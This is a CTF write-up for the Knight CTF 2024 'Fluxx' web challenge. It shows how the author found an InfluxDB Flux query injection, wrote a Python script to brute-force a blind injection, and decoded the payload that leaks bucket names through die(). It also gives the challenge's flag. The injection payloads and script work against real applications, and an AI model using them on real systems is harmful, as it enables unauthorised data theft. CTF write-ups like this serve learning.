InfluxDB with NoSQL blind SQL injection - Fluxx web CTF challenge writeup - Knight CTF 2024
Published on 2024-01-23 00:00:00 +0000 | Last modified on 2024-01-23 | Written by Colleirose
This is the challenge:
Based on the X-Powered-By header being Express on all pages and receiving a Cannot GET /(requested url)
on non-existent URLs (e.g. 66.228.53.87:9001/a), I can infer this is a Express.js server.
One of our team member finds book.hacktricks.xyz/pentesting-web/nosql-injection, and using that cheatsheeet (which I recommend using because it is very useful), finds that visiting http://66.228.53.87:9001/query?data='%20||%201==1//%20%20%20%20or%20%20%20%20'%20||%201==1%00%20%20%20%20%20or%20%20%20%20admin'%20||%20'a'=='a
creates an error saying Expected RPAREN, got EOF
I search this error online and learn that it’s an error related to InfluxDB, which I haven’t heard of until this challenge.
This also matches up with the challenge name and description:
Searching about SQL injection in InfluxDB, I find rafa.hashnode.dev/influxdb-nosql-injection.
After facing some errors, I go back to the article I was copying this code off of and fix my code.
But this is very inefficient to do manually. I find a script on book.hacktricks.xyz/pentesting-web/nosql-injection#blind-nosql that can automate this. It requires a bit of changes, but here’s the working script, based on the Hacktricks resource:
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://66.228.53.87:9001/query?data=%22)%20%7c%3e%20yield(name%3a%20%221337%22)%20%0d%0abuckets()%20%7c%3e%20filter(fn%3a%20(r)%20%3d%3e%20r.name%20%3d~%20%2f%5e" +flag+char+".*%2f%20and%20die(msg%3ar.name))%20%0d%0a%2f%2f")
if (r.text != "[]"):
flag += char
print("[+] Flag: "+flag)
break
The script then crashes with some error about the connection being aborted but tells me the correct string starts with K
So I went back to Burp Suite and tried it again with the K
The flag is KCTF{gOUPqVWa0eUT2wF2ipzX3v5pxikvqYhxR9oL}
according to the output of this web request. This flag is correct when submitted:
This is the SQL injection payload with the URI parameters decoded. I don’t fully understand what it does because I’ve never used NoSQL or InfluxDB before.
") |> yield(name: "1337")
buckets() |> filter(fn: (r) => r.name =~ /^K.*/ and die(msg:r.name))
//
I don’t know what the first line does, but the second line calls buckets()
to list buckets and filters for buckets with a name that matches the regular expression /^K.*/
. If it finds one, it dies with the bucket’s name (in the output we got in Burp Suite, I’m not sure if some kind of syntax error or die()
is what caused the error that included the flag, but it doesn’t really matter). The third line is a comment.
In retrospect, maybe /^.*/
would’ve worked fine as the regular expression.